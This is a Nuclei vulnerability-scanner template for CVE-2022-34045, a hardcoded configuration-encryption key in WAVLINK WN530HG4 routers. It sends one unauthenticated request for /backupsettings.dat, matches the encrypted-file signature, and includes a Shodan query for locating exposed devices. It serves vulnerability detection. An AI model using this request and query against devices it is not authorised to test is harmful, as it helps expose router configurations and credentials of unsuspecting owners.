nuclei-templates/cves/2022/CVE-2022-34045.yaml

45 lines
1.2 KiB
YAML

id: CVE-2022-34045
info:
name: WAVLINK WN530HG4 - Improper Access Control
author: arafatansari
severity: critical
description: |
WAVLINK WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. It contains a hardcoded encryption/decryption key for its configuration files at /etc_ro/lighttpd/www/cgi-bin/ExportAllSettings.sh. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
reference:
- https://drive.google.com/file/d/1s5uZGC_iSzfCJt9BJ8h-P24vmsrmttrf/view?usp=sharing
- https://nvd.nist.gov/vuln/detail/CVE-2022-34045
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-34045
cwe-id: CWE-798
metadata:
shodan-query: http.html:"WN530HG4"
verified: "true"
tags: cve,cve2022,wavlink,exposure
requests:
- raw:
- |
GET /backupsettings.dat HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Salted__'
- type: word
part: header
words:
- application/octet-stream
- type: status
status:
- 200
# Enhanced by md on 2023/02/03